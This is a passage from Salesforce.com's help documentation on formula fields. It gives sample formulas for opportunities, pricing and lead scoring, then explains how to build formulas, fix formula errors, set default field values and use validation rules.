function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0,
1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example:
• Round_Robin_ID = 0 is assigned to Queue A
• Round_Robin_ID = 1 is assigned to Queue B
• Round_Robin_ID = 2 is assigned to Queue C
For details about using these functions, see MOD on page 970 and VALUE on page 984.

Metrics

Temperature Conversion
This formula converts Celsius degrees to Fahrenheit.

1.8 * degrees_celsius__c + 32

For details about using these operators, see * (Multiply) on page 937 and + (Add) on page 936.

Unit of Measure Conversion


This formula converts kilometers to miles.

Miles__c/.621371192

For details about using this operator, see / (Divide) on page 937.

Opportunity Management

Days Left to Close


This formula returns the expected number of days left to the close date of an opportunity.

Expected_close_date__c -TODAY()

871
Customize About Formulas

For details about using this function, see TODAY on page 980.

Display Close Month for Reporting Purposes


This formula returns the month in text for the close date of an opportunity. Use this example when building a custom report
that groups opportunities by the month of the Close Date.

CASE(
MONTH(CloseDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"Invalid month")

For details about using these functions, see CASE on page 944 and MONTH on page 970.

Expected Product Revenue


This formula calculates total revenue from multiple products, each with a different probability of closing.

ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c

For details about using these operators, see * (Multiply) on page 937 and + (Add) on page 936.

Maintenance Calculation
This formula calculates maintenance fees as 20% of license fees per year. Maintenance Years is a custom field on
opportunities.

Amount * Maint_Years__c * 0.2

For details about using this operator, see * (Multiply) on page 937.

Monthly Subscription-Based Calculated Amounts


This formula calculates an opportunity amount based on a monthly subscription rate multiplied by the subscription period.

Monthly_Amount__c * Subscription_Months__c

For details about using this operator, see * (Multiply) on page 937.

Monthly Value
This formula divides total yearly value by 12 months.

Total_value__c / 12

For details about using this operator, see / (Divide) on page 937.

872
Customize About Formulas

Opportunity Additional Costs


This formula calculates the sum of the opportunity Amount, maintenance amount, and services fees. Note that Maint amount
and Service Fees are custom currency fields on opportunities.
Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 936.

Opportunity Categorization
This formula uses conditional logic to populate an Opportunity category text field, based on the value of the Amount
standard field. Opportunities with amounts less than $1500 are “Category 1,” those between $1500 and $10000 are “Category
2,” and the rest are “Category 3.” This example uses nested IF statements.

IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))

For details about using this function, see IF on page 953.

Opportunity Data Completeness


This formula takes a group of opportunity fields and calculates what percent of them are being used by your sales personnel.
This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A “1” is counted for any field
that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select
the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing.

(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

For details about using this function, see ISBLANK on page 958.

Opportunity Expected License Revenue


This formula calculates expected revenue for licenses based on probability of closing.

Expected_rev_licenses__c * Probability

For details about using this operator, see * (Multiply) on page 937.

Opportunity Reminder Date


This formula creates reminder date based on seven days before the close date of an opportunity. Use this formula field in a
workflow rule to create an event for the appropriate user to take action.

Reminder Date = CloseDate - 7

For details about using these operators, see = and == (Equal) on page 939 and - (Subtract) on page 937.

873
Customize About Formulas

Opportunity Revenue Text Display


This formula returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the
Expected Revenue of a campaign is “$200,000,” this formula field displays “200000.”

TEXT(ExpectedRevenue)

For details about using this function, see TEXT on page 978.

Opportunity Split Credit for Sales Representatives


This formula splits opportunity amount between multiple sales representatives. The total reps custom field indicates the
total number of representatives on the deal.

Amount / total_reps__c

For details about using this operator, see / (Divide) on page 937.

Opportunity Total Deal Size


This formula calculates the sum of maintenance and services amounts.

Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 936.

Opportunity Total Price Based on Units


This formula generates proposal pricing based on unit price and total volume.

Unit_price__c * Volume__c * 20

For details about using this operator, see * (Multiply) on page 937.

Professional Services Calculation


This formula estimates professional service fees at an average loaded rate of $1200 per day. Consulting Days is a custom
field on opportunities.

Consulting_Days__c * 1200

For details about using this operator, see * (Multiply) on page 937.

Stage-Based Sales Document Selection


This formula Identifies a relevant document in the Documents tab based on opportunity Stage. Use document IDs in the
form of “00l30000000j7AO.”

CASE(StageName,
"Prospecting", "Insert 1st Document ID",
"Qualification", "Insert 2nd Document ID",
"Needs Analysis", "Insert 3rd Document ID",
"Value Proposition", …
)
)

874
Customize About Formulas

For details about using this function, see CASE on page 944.

Sales Coach
This formula creates a hyperlink that opens a stage-specific document stored in the Documents tab. It uses the previously
defined custom formula field that identifies a document based on opportunity Stage. See Stage-Based Sales Document
Selection on page 874.

HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in


New Window")

For details about using this function, see HYPERLINK on page 952.

Shipping Cost by Weight


This formula calculates postal charges based on weight.

package_weight__c * cost_lb__c

For details about using this operator, see * (Multiply) on page 937.

Shipping Cost Percentage


This formula calculates shipping cost as a fraction of total amount.

Ship_cost__c / total_amount__c

For details about using this operator, see / (Divide) on page 937.

Tiered Commission Rates


This formula calculates the 2% commission amount of an opportunity that has a probability of 100%. All other opportunities
will have a commission value of zero.

IF(Probability = 1,
ROUND(Amount * 0.02, 2),
0)

For details about using these functions, see IF on page 953 and ROUND on page 976.

Total Contract Value from Recurring and Non-Recurring Revenue


This formula calculates both recurring and non-recurring revenue streams over the lifetime of a contract.

Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c

For details about using these operators, see + (Add) on page 936 and * (Multiply) on page 937.

875
Customize About Formulas

Pricing

Total Amount
This formula calculates a total amount based on unit pricing and total units.

Unit_price__c * Total_units__c

For details about using this operator, see * (Multiply) on page 937.

User Pricing
This formula calculates a price per user license.

Total_license_rev__c / Number_user_licenses__c

For details about using this operator, see / (Divide) on page 937.

Project Management

Calculate Intermediate Milestone from End Date


This formula calculates intermediate milestone dates by subtracting days from the end date (for projects that are planned based
on end date).

Release_Date__c - 7 * Phase_duration_in_weeks__c

For details about using this operator, see * (Multiply) on page 937.

Scoring Calculations

Lead Scoring
This formula scores leads, providing a higher score for phone calls than website requests.

CASE(LeadSource, "Phone", 2, "Web", 1, 0)

For details about using this function, see CASE on page 944.

Customer Success Scoring


This formula uses a simple scoring algorithm to rank customers a high score for positive survey results in Salesforce.com.

Survey_Question_1__c * 5 + Survey_Question_2__c *2

For details about using these operators, see* (Multiply) on page 937 and + (Add) on page 936.

876
Customize About Formulas

Using Formulas in Salesforce.com


Many areas in Salesforce.com use formulas. Before you begin using formulas, review the differences between the following
uses for formulas:
Approval Processes
Defines the criteria a record must match to enter an approval process

Approval Steps
Defines the criteria a record must match to enter a step in an approval process

Assignment Rules for Leads and Cases


Specifies conditions that a lead or case must match for it to be assigned

Auto-Response Rules for Leads and Cases


Defines the criteria a lead or case must match to trigger an auto-response rule

Case Escalation Rules


Specifies conditions that a case must match for it to be escalated

Default Field Values


Automatically inserts a value in a custom field when a record is first created
Users can change a default value if they wish. Default field values can be based on a formula using values, merge fields,
or expressions you specify.

Formula Fields
Automatically calculates the value of a custom field using the values, merge fields, or expressions you specify
Users cannot change the value of a formula field.

Validation Rules
Prevents users from entering an invalid value in a standard or custom field
Validation rules can be based on formulas and display an error message to the user when the value they enter is not valid
for that field.

Workflow Rules
Defines the criteria a record must meet to trigger a workflow rule

Field Updates
Automatically changes the value of a field to a value you specify
You can set field updates to occur as a result of a workflow rule or an approval process.

Custom Summary Formulas in Reports


Automatically calculates additional totals based on existing report summaries using the values, merge fields, or expressions
you specify
Users cannot change these totals.

877
Customize Building Formulas

Default Field Formula Fields Validation Workflow Field Updates Custom


Values Rules Rules and Summary
Approval Formulas for
Processes Reports
When are they Record creation Record display Record save Record save Workflow or Report display
executed? approval process
Read only? No Yes Not applicable Not applicable Not applicable Yes
Can include Yes Yes Yes Yes Yes Yes, a limited
functions? subset of
functions
Can specify null No Yes No No No Yes
handling?
Can include No Yes Yes Yes Yes No
references to
parent merge
fields?

See Also:
Defining Default Field Values
Building Formulas
Defining Field Updates
Building Custom Summary Formulas

Building Formulas
Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

Your custom formula fields require special attributes. To build your formula:

1. Begin building a formula field the same way you create a custom field. See Creating Custom Fields on page 812.
2. Select the data type for the formula. Choose the appropriate data type for your formula based on the output of your
calculation. See Choosing a Formula Data Type on page 849.
3. Choose the number of decimal places for currency, number, or percent data types. This setting is ignored for currency
fields in multicurrency organizations. Instead, the Decimal Places for your currency setting apply.

878
Customize Building Formulas

4. Click Next.
5. Build your formula:

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the field type
in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down
list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 931.
c. Optionally, click the Advanced Formula tab to use functions and view additional operators and merge fields. Functions
are prebuilt formulas that you can customize with your input parameters. For a description of each operator and function,
see Operators and Functions on page 931.
d. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list
of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function
to view a description and examples of formulas using that function.
e. Consider adding comments to your formula, especially if it is complicated. Comments must begin with a forward slash
followed by and asterisk (/*), and conclude with an asterisk followed by a forward slash (*/).
Comments are useful for explaining specific parts of a formula to administrators viewing the formula definition. For
example:

AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
$RecordType.Name = "ABCD Opportunity",
/* checking for any closed status, such as closed won and closed lost…allows for
additional closed picklist values in the future */
CONTAINS(TEXT(StageName), "Closed")
)

You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate
errors in the formula.
Note:

• Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:

/* /* comment */ */

• Commenting out a whole formula causes a syntax error.


• Comments count against the character and byte size limits in formulas.

Caution: Your formula cannot contain more than 3900 characters.

879
Customize Building Formulas

6. Click Check Syntax to check your formula for errors.


7. Optionally, enter a description of the formula in the Description box.
8. If your formula references any number, currency, or percent fields, choose an option for handling blank fields. To give any
blank fields a zero value, choose Treat blank fields as zeros. To leave these fields blank, choose Treat blank
fields as blanks.
9. Click Next.
10. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
11. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
12. Click Save to finish or Save & New to create more custom fields.

Note: Because formula fields are automatically calculated, they are read-only on record detail pages and do not update
last modified date fields. Formula fields are not visible on edit pages.
In account formulas, all business account fields are available as merge fields. However, account fields exclusive to
person accounts such as Birthdate and Email are not available. For more information, see What is a Person Account?
on page 54.

See Also:
About Formulas
Operators and Functions
Elements of a Formula
Formulas: How Do I...
Tips on Building Formulas
Fixing Formula Errors
Building Custom Summary Formulas
Understanding Global Variables
Quick Reference Guide: Formula Fields

Tips on Building Formulas


• Default value formulas for a type of record can only reference fields for that type of record. However, formula fields and
formulas for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, for a type of record
can reference fields for that type of record as well as any records that are related through a lookup or master-detail
relationship. For example, a formula for a validation rule on opportunities can reference merge fields for accounts and
campaigns as well as opportunities, and a formula field on accounts can reference fields for cases.
• Formula fields that a user can see may reference fields that are hidden or read only using field-level security. If the formula
field contains sensitive information, use field-level security to hide it. See Setting Field-Level Security on page 540.
• The following limits apply to formula fields:

- Character limit—Formula fields can contain up to 3900 characters, including spaces, return characters, and comments.
If your formula requires more characters, create separate formula fields and reference them in another formula field.
- Save size limit—Formula fields cannot exceed 4000 bytes when saved. The save size differs from the number of characters
if you use multi-byte characters in your formula.

880
Customize Building Formulas

- Compile size limit—Formula fields cannot exceed 5000 bytes when compiled. The compile size is the size of the
formula (in bytes) including all of the fields, values, and formulas it references. There is no direct correlation between
the compile size and the character. Some functions, such as TEXT, DATEVALUE, and DATE significantly increase
the compile size.

• Long text area, encrypted, and Description fields are not available for use in formulas.
• The value of a field cannot depend on another formula that references it.
• Fields referenced in formulas cannot be deleted. Remove the field from the formula before deleting it.
• Task Due Date is not available for use in formulas.
• Campaign statistic fields cannot be referenced in formulas for field updates, approval processes, workflow rules, or validation
rules, but can be referenced in custom formula fields. For more information, see Campaign Fields on page 2041.
• You can add activity formula fields to task and event page layouts. Note that a task-related formula field on an event page
layout may not be useful. Likewise, event-related formula fields on task page layouts may not be useful.
• Use the IsTask merge field to determine if a record is a task or event. For example, the following formula displays text
indicating if the record is a task or event:

IF(IsTask, "This is a task", "This is an event")

• To reference the unique identifier for your Salesforce.com organization in a formula, insert the $Organization.Id
merge field. This merge field can display anywhere formula fields can except inreports.
• Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
“Read,” “Edit,” and “None” when referencing the following merge fields in a formula:

- $UserRole.CaseAccessForAccountOwner
- $UserRole.OpportunityAccessForAccountOwner
- CaseAccessLevel (on Territory)
- OpportunityAccessLevel (on Territory)

Use the values “Read,” “Edit,” and “All” when referencing the following merge fields in a formula:

- AccountAccessLevel (on Territory)

• If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts
but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person
accounts page.

Working with Date and Date/Time Fields


• Dates and times are always calculated using the user’s time zone.
• Date and date/time fields cannot be used interchangeably. The name alone may not indicate if a field is a date or date/time.
For example, Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a
date field. Use the DATEVALUE function to convert a date/time field into a date field.
Note: In email templates, the Created Date and Last Modified Date fields display only the date, not the
date and time.

• Use addition and subtraction operators with date or date/time fields to calculate duration. For example, subtract a date
from another date to calculate the number of days between the two. Likewise, you can subtract the date/time from another
date/time to get the number of days between the two in the form of a number. See NOW on page 971 or TODAY on page
980 for suggested use.

881
Customize Building Formulas

• Use addition and subtraction operators with numbers to return another date or date/time. For example, {!CreatedDate}
+ 5 calculates the date and time five days after a record’s created date. Note that the expression returns the same data type
as the one given; a date field plus or minus a number returns a date, and a date/time field plus or minus a number returns
a date/time.
• When calculating dates using fractions, Salesforce.com ignores any numbers beyond the decimal. For example:
TODAY() + 0.7 is the same as TODAY() + 0, which is today’s date
TODAY() + 1.7 is the same asTODAY() + 1, which is tomorrow’s date
TODAY() + (-1.8) is the same as TODAY() + (-1), which is yesterday’s date
• To calculate the value of two fractions first, group them within parentheses. For example:
TODAY() + 0.5 + 0.5 is the same as TODAY() + 0 + 0, which is today’s date
TODAY() + (0.5+0.5) is the same as TODAY() + 1, which is tomorrow’s date
• Years cannot be zero and must be between -4713 and 9999.

Working with Text Fields


• Before using the HYPERLINK function, consider the differences between hyperlinks and custom links.
- Hyperlink formula fields are just like other custom fields that you can display in list views and reports.
- Custom links display on detail pages in a predefined section; hyperlink formula fields can display on a detail page
wherever you specify.
- Using custom links, you can specify display properties such as window position and opening in a separate popup position;
hyperlink formula fields open in a new browser window by default or you can specify a different target window or frame.
- Your formulas can reference custom links. Before deleting a custom link, make sure it is not referenced in a formula
field.
- Hyperlink formula fields that contain relative URLs to Salesforce.com pages, such as /rpt/reportwizard.jsp,
can be added to list views, reports, and related lists. However, use a complete URL, including the server name and
https://, in your hyperlink formula before adding it to a search layout. Note that formula fields are not available in
search result layouts.

• To insert text in your formula field, surround the text with quotation marks. For example, to display “CASE: 123,” use
this formula "CASE: "& CaseNumber__c.
• Use the backslash (\) character before a quote or backslash to insert it as a literal value in your output. For example,
"Trouble\\Case \"Ticket\": " in your formula displays Trouble\Case "Ticket": on detail pages.

Working with Number Fields


• Use the decimal version of a percent when working with percent fields in formulas. For example, IF(Probability
=1...) for 100% probability or IF(Probability =0.9...) for 90% probability.
• Reference auto-number fields as text fields in formulas.
• The output of your formula must be less than 19 digits. See Fixing Formula Errors on page 885.
• Formulas can contain a mix of numbers, percents, and currencies as in this example: AnnualRevenue /
NumberOfEmployees.

Working with Cross-Object Formulas


• Cross-object formulas that reference currency fields convert the value to the currency of the record that contains the formula.
• Salesforce.com allows a maximum of ten unique relationships per object in cross-object formulas. The limit is cumulative
across all formula fields, rules, and lookup filters. For example, if two different formulas on opportunities reference two
different fields of an associated account, only one unique relationship exists (from opportunities to accounts).

882
Customize Building Formulas

• You cannot reference cross-object formulas in roll-up summary fields.


• In cross-object formulas, you cannot reference merge fields for objects related to activities. For example, merge fields for
contacts and accounts are not available in task and event formulas.
• In cross-object formulas, you cannot reference record owner merge fields for any object. For example, the opportunity
owner's Role merge field is not available in opportunity formulas.
• Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the
record containing the formula, not the record to which the formula spans.

Referencing Record Types in Formulas


Reference record types in formulas if you want different workflow rules, validation rules, and lookup filters to apply to different
record types. For example, you can:
• Create a workflow rule on accounts that emails different teams depending on the account record type the user selects when
creating the account.
• Create a validation rule on opportunities that allows only members of the North American sales team to save opportunities
with the Domestic record type.
When referencing a record type in a formula, use RecordType.Id instead of RecordType.Name. If you use
RecordType.Name and the record type name changes, your formula will break. The record type ID never changes.
Using RecordType.Id can make your formula less readable, so use inline comments to make your formula readable.
Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the record
containing the formula, not the record to which the formula spans.

Working with Picklists and Multi-Select Picklists


• You can use special picklist fields in your formulas, such as IsEscalated for cases and IsWon for opportunities.
• Picklist fields can only be used in the following functions:
- ISPICKVAL—Compares the value of a picklist to a single value.
- CASE—Compares the value of a picklist to multiple values.
- TEXT—Converts a picklist value into a text value so that you can work with the value in functions that support text
value, such as CONTAINS. (Only available in formula fields, validation rules, and workflow field updates.)

• The TEXT function always returns picklist values in your organization's master language, not the language of the current
user.
• Multi-select picklist fields can only be used in the following functions:
- INCLUDES
- ISBLANK
- ISNULL
- ISCHANGED (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)
- PRIORVALUE (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)

See Also:
Building Formulas
Fixing Formula Errors

883
Customize Building Formulas

What are Cross-Object Formulas?


Available in: All Editions

User Permissions Needed


To create or change cross-object formulas: “Customize Application”

Cross-object formulas are formulas that span to related objects and reference merge fields on those objects. Cross-object formulas
can reference merge fields from a master (“parent”) object if an object is on the detail side of a master-detail relationship, or
from another object if a lookup relationship to that object exists on the current object. You can reference fields from objects
that are up to ten relationships away. Cross-object formulas are available anywhere formulas are used except when creating
default values.
To create a cross-object formula when building a formula in the Simple Formula tab, enter the relationship names of the
objects to which you are spanning followed by the field you want to reference. Separate the relationship names of each object
and the field with periods. For example, enter Contact.Account.Name to reference the Account Name for a contact
associated with a case in a formula field on the Case object. Be sure to use the relationship names of the objects, not the labels.
Although the relationship name is often the same as the object name, it is technically the field name of the relationship field.
For example, to reference the parent account name from Account object, the syntax is Parent.Name, not Account.Name.
Also, when referencing a custom object, add two underscores and the letter r to its name. For example,
Position__r.title__c references the Job Title field (title__c) on a Position custom object.

To create a cross-object formula when building a formula in the Advanced Formula tab or for approvals or rules, such as
workflow, validation, assignment, auto-response, or escalation rules, click Insert, then click the related object to list its fields.
Related objects are denoted by a “>” sign.
Note: The value of the Profile.Name merge field differs depending on the context of the cross-object formula field
that references it. On detail pages, the value is the profile name, as expected; however, in list views and reports, the
value is the internal value of the associated profile instead. If you use Profile.Name in a formula, use it within an
OR function to ensure the formula always returns the intended result. For example:

IF
(OR
(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name
= "PT2"),
"Standard", "Not Standard")

None of the above applies to profile names referenced by the $Profile global variable.

See Also:
Building Formulas
Operators and Functions

884
Customize Building Formulas

Fixing Formula Errors


Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

• “#Error!” displays for a formula field whenever an error occurs while calculating the value of a formula. To resolve the
error, check your formula:

- Is the formula dividing by zero? If so, check if the denominator of your expression is zero and provide an alternative
value. For example, the following campaign formula field is blank if the number of opportunities is zero:

IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

- Is the formula calculating the square root of a negative number? If so, use an IF function similar to the one above to
check if the value is a positive number.
- Is the formula calculating the LOG of a negative number? If so, use an IF function similar to the one above to make
sure that the number is positive.
- Is the formula using the VALUE function with text that contains special characters? For examples of special characters,
see Operators and Functions on page 931.
- Make sure the formula does not contain a HYPERLINK function within a text function, such as LEFT(
HYPERLINK("http://Salesforce.com ", "Salesforce.com ") , 5).
- Is the formula disabled or referencing a disabled formula field? Salesforce.com disables formula fields when they are
deleted and they remain disabled after they are restored. To enable disabled formula fields, edit and save the field. For
more information on deleted custom fields and restoring them, see Managing Deleted Custom Fields on page 842.

• “#Too Big!” displays if your formula output is over 18 digits. When this happens, check your formula for calculations that
could result in more than 18 digits. Avoid multiplying large numbers, raising a large number to a power, or dividing by a
very small number.
• CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned.
For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error
even if the value of the field is “Partner” or “Customer” because the last statement is illogical.
• Prevent division by zero errors by including an IF function that determines if the value of a field is zero. For example,
IF(Field__c =0,0, 25/Field__c).

885
Customize Defining Default Field Values

Defining Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view default field values: “View Setup and Configuration”
To define or change default field values: “Customize Application”

To define a default field value:

1. Begin by creating a custom field; see Creating Custom Fields on page 812. You can also define a default value for an existing
custom field; see Editing Fields on page 822.
2. Choose the type of field to create and click Next. For a list of the types available for default values, see About Default Field
Values on page 887.
3. Enter the attributes for the field.
4. Enter a default value or define a formula to calculate the default value:

a. Click Show Formula Editor to view the formula editor.


b. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the field type
in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down
list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 931.
d. Double-click a function to insert it in your formula. For a description of each operator and function, see Operators and
Functions on page 931.
e. Click Check Syntax to check your formula for errors.

Note: You can define a formula for default values only where appropriate. For example, the default value options
for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked,
Unchecked, or Use first value as default value.

5. Click Next.
6. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
7. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
8. Click Save to finish or Save & New to create more custom fields.

886
Customize Defining Default Field Values

Note: You must specify a default value for required campaign member custom fields.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.

See Also:
About Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas

About Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use default field values to make your users more productive by reducing the number of fields they need to fill in manually.
Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields.
After you have defined default values:

1. The user chooses to create a new record.


2. Default field value is executed.
3. Salesforce.com displays the edit page with the default field value pre-populated.
4. The user enters the fields for the new record.
5. The user saves the new record.

The user can change the field's value but the initial default field value is only executed once, during record creation. For
example, you can set the default field value on a custom lead field to seven days after the creation date to signify when to
contact the lead again. You can change this value later, but you cannot automatically restore the value that was seven days after
the creation date.
Set up default field values for the following types of custom fields:

• Checkbox
• Currency
• Date
• Date/Time
• Email
• Number
• Percent
• Phone
• Picklist (use the default option when setting up the picklist)
• Text
• Text Area
• URL

887
Customize Defining Default Field Values

For a description of these types, see Custom Field Types on page 814.

See Also:
Defining Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas

Useful Default Field Value Formulas


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view default field values: “View Setup and Configuration”
To define or change default field values: “Customize Application”

Maximum Discount Rate


Your organization my apply different discount rates to opportunities based on the department of the person creating the
opportunity. Use the following example to set a default value for a custom field called Discount Rate on opportunities.

CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the “IT” department or
15% on any opportunity created by someone in the “Field” department. A zero is applied if the creator does not belong to
either of these departments. This is a custom percent field on opportunities that uses the standard user field Department.
For more information on using this function, see CASE on page 944.

Product Language
You may want to associate a product with its language so that your users know the type of documentation or adapter to include.
Use the following default value formula to automatically set the language of a product based on the country of the user creating
the product. In this example, the default value is “Japanese” if the user's country is “Japan” and “English” if the user's country
is “US.” If neither is true, the default value “unknown” is inserted into the Product Language field.

CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

For more information on using this function, see CASE on page 944.

Tax Rate
Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the
following default value:

IF($User.City = "Napa", 0.0750,


IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,

888
Customize Defining Default Field Values

IF($User.City = "Los Olivos", 0.0750,


IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

In this example, a tax rate of 8.75% is applied to an asset when the user's address is in the city of Livermore. When none of
the cities listed apply, the Tax Rate field is empty. You can also use the Tax Rate field in formulas to automatically calculate
taxable amounts and final sales prices.

See Also:
Defining Default Field Values
Default Field Value Considerations
About Default Field Values

Default Field Value Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. Review the following
considerations before incorporating default field values in your organization.

• If a default value is based on the value of a merge field, Salesforce.com uses the value of the merge field at the time the
default value is executed. If the value of the merge field changes later, the default value is not updated.
• Users can change or remove the default field value on a record.
• Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
• If you make an activity custom field universally required, you must also provide a default value.
• If an activity custom field is unique, you cannot provide a default value.
• Default field values are different from formula fields in the following ways: they are only executed once, at record creation;
they are not read only; and the user can change the value but cannot restore the default field value.
• Since the default value is inserted before users enter any values in the new record, you cannot use the fields on the current
record to create a default field value. For example, you cannot create a default field value on a contact that uses the first
initial and last name because those values are not available when you click New to create a contact record. However, you
can use the record type because it is selected before the record edit page displays.
• To apply a different default value for different record types, use the record type as a merge field in a CASE function within
the default field value setup.
• Fields that are not visible to the user due to field-level security are still available in the formula for a default field value.
• Connect Offline and Connect for Outlook do not display default values. However, Salesforce.com inserts the default values
when a user syncs unless the user entered a value.
• Default field values are not available in the Self-Service portal.
• Lead conversion, Web-to-Lead, and Web-to-Case do not execute default field values.

889
Customize Managing Validation Rules

Note: You can define a formula for default values only where appropriate. For example, the default value options for
picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked,
or Use first value as default value.

See Also:
Defining Default Field Values
About Default Field Values
Useful Default Field Value Formulas

Managing Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field validation rules: “View Setup and Configuration”
To define or change field validation rules: “Customize Application”

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value.
To begin using validation rules, click Setup ➤ Customize, select the appropriate activity, standard object, or users link from
the menu, and click Validation Rules. For custom objects, click Setup ➤ Create ➤ Objects and select the custom object.
Validation rules are listed in the Validation Rules related list. To create a validation rule for the Comment field in Salesforce
CRM Ideas, click Setup ➤ Customize ➤ Ideas ➤ Comment Validation Rules.

• To define a validation rule, click New. See Defining Validation Rules on page 892.
• To make changes to a validation rule, click Edit.
• To delete a validation rule, click Del.
• To view details about a validation rule, click field validation name.
• To clone a validation rule, select the rule you want to clone and click Clone.
• To activate a validation rule, click Edit next to the rule you want to activate, select Active, and click Save. Deselect
Active to deactivate the rule.

See Also:
About Validation Rules
Examples of Validation Rules

890
Customize Managing Validation Rules

About Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Improve the quality of your data using validation rules. Validation rules verify that the data a user enters in a record meets the
standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates
the data in one or more fields and returns a value of “True” or “False.” Validation rules also include an error message to display
to the user when the rule returns a value of “True” due to an invalid value.
After you have defined validation rules:

1. The user chooses to create a new record or edit an existing record.


2. The user clicks Save.
3. Salesforce.com executes all validation rules.

• If all data is valid, Salesforce.com saves the record.


• If any data is invalid, Salesforce.com displays the associated error message without saving the record.

4. The user makes the necessary changes and clicks Save again.

You can specify the error message to display when a record fails validation and where to display it. For example, your error
message can be “The close date must occur after today's date.” You can choose to display it near a field or at the top of the
page. Like all other Salesforce.com error messages, validation rule errors display in red text and are preceded by the word
“Error.”
Important: Validation rules apply to all new and updated records for an object, even if the fields referenced in the
validation rule are not included in a page layout or an API call. If your organization has multiple page layouts for the
